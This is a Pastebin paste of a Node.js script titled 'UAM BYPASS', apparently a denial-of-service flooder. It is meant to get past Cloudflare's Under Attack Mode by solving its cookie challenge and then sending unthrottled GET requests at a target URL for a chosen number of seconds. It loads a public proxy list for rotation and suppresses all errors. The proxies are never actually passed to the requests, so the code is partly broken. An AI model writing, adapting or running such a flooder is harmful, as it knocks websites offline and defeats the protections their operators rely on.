Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
9,169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.57 KB | None | 0 0
  1. /**
  2. UAM BYPASS
  3. Requirements: npm i request; npm i fs; npm i cloudscraper; npm i crypto
  4. */
  5. var request = require('request');
  6. const cloudscraper = require('cloudscraper');
  7. const fs = require('fs');
  8. const {
  9. constants
  10. } = require('crypto');
  11. var p = process.argv[2];
  12.  
  13. const EventEmitter = require('events');
  14. const emitter = new EventEmitter();
  15. emitter.setMaxListeners(Number.POSITIVE_INFINITY);
  16.  
  17. process.on('uncaughtException', (err) => {});
  18. process.on('unhandledRejection', (err) => {});
  19.  
  20. var theproxy = 0;
  21.  
  22. var cookies = {};
  23.  
  24. setTimeout(() => {
  25. process.exit(1);
  26. }, process.argv[3] * 1000);
  27.  
  28. var target = p.replace('https', 'http');
  29. request.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&timeout=10000&country=all&anonymity=all&ssl=all', (err, res, set) => {
  30. var proxies = set.match(/(\d{1,3}\.){3}\d{1,3}\:\d{1,5}/g);
  31. console.log(proxies.length + " Proxies loaded.");
  32. setInterval(function() {
  33. theproxy = theproxy + 1;
  34. if (theproxy == proxies.length - 1) {
  35. theproxy = 0;
  36. }
  37. var ourproxy = proxies[theproxy];
  38. cloudscraper.get({
  39. agentOptions: {
  40. secureOptions: constants.SSL_OP_NO_TLSv1 | constants.SSL_OP_NO_TLSv1_1,
  41. ciphers: constants.defaultCipherList + ':!ECDHE+SHA:!AES128-SHA'
  42. },
  43. url: target,
  44. headers: {
  45. cookie: cookies[ourproxy] || ''
  46. },
  47. resolveWithFullResponse: true,
  48. simple: false,
  49. followRedirect: false,
  50. }, function(error, response, body) {
  51. if (body) {
  52. if (body.indexOf('document.cookie="') !== -1) {
  53. var asd = body.split('"');
  54. cookies[ourproxy] = response.request.headers['cookie'] + '; ' + asd[1] + ';';
  55.  
  56. cloudscraper.get({
  57. agentOptions: {
  58. secureOptions: constants.SSL_OP_NO_TLSv1 | constants.SSL_OP_NO_TLSv1_1,
  59. ciphers: constants.defaultCipherList + ':!ECDHE+SHA:!AES128-SHA'
  60. },
  61. uri: asd[3],
  62. headers: {
  63. cookie: cookies[ourproxy]
  64. },
  65. resolveWithFullResponse: true,
  66. simple: false,
  67. followRedirect: false,
  68. }, function(error, response, body) {
  69. });
  70. }
  71. }
  72. });
  73. });
  74. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement